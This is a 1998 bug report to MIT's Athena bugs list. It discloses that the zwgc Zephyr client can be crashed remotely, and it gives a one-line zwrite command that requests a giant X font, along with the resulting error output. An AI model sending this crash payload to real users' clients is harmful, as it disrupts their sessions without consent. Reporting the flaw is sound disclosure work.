[16037] in Athena Bugs
zwgc can be crashed remotely
daemon@ATHENA.MIT.EDU (DB)
Fri Jul 24 21:00:27 1998
To: bugs@MIT.EDU
Cc: ghudson@MIT.EDU
Date: Fri, 24 Jul 1998 21:00:20 EDT
From: DB <ddaniel@MIT.EDU>
It can be crashed when running the X driver, at least on my linux box.
I can do so by forcing it to render 6-foot letters, as follows:
zwrite ddaniel -m '@font(-adobe-*-*-*-*-*-6000-*-*-*-*-*-*-*)YO'
the X server freezes in agony for a few moments, then zwgc dies:
X Error of failed request: BadAlloc (insufficient resources for operation)
Major opcode of failed request: 45 (X_OpenFont)
Serial number of failed request: 512
Current serial number in output stream: 513
Not that zwgc was ever designed to render 6-foot letters. But it can be
used by any abuser anywhere on the net if you accept unauth'd Z's.
Daniel
--
E-mail: ddaniel@mit.edu Daniel Bromberg
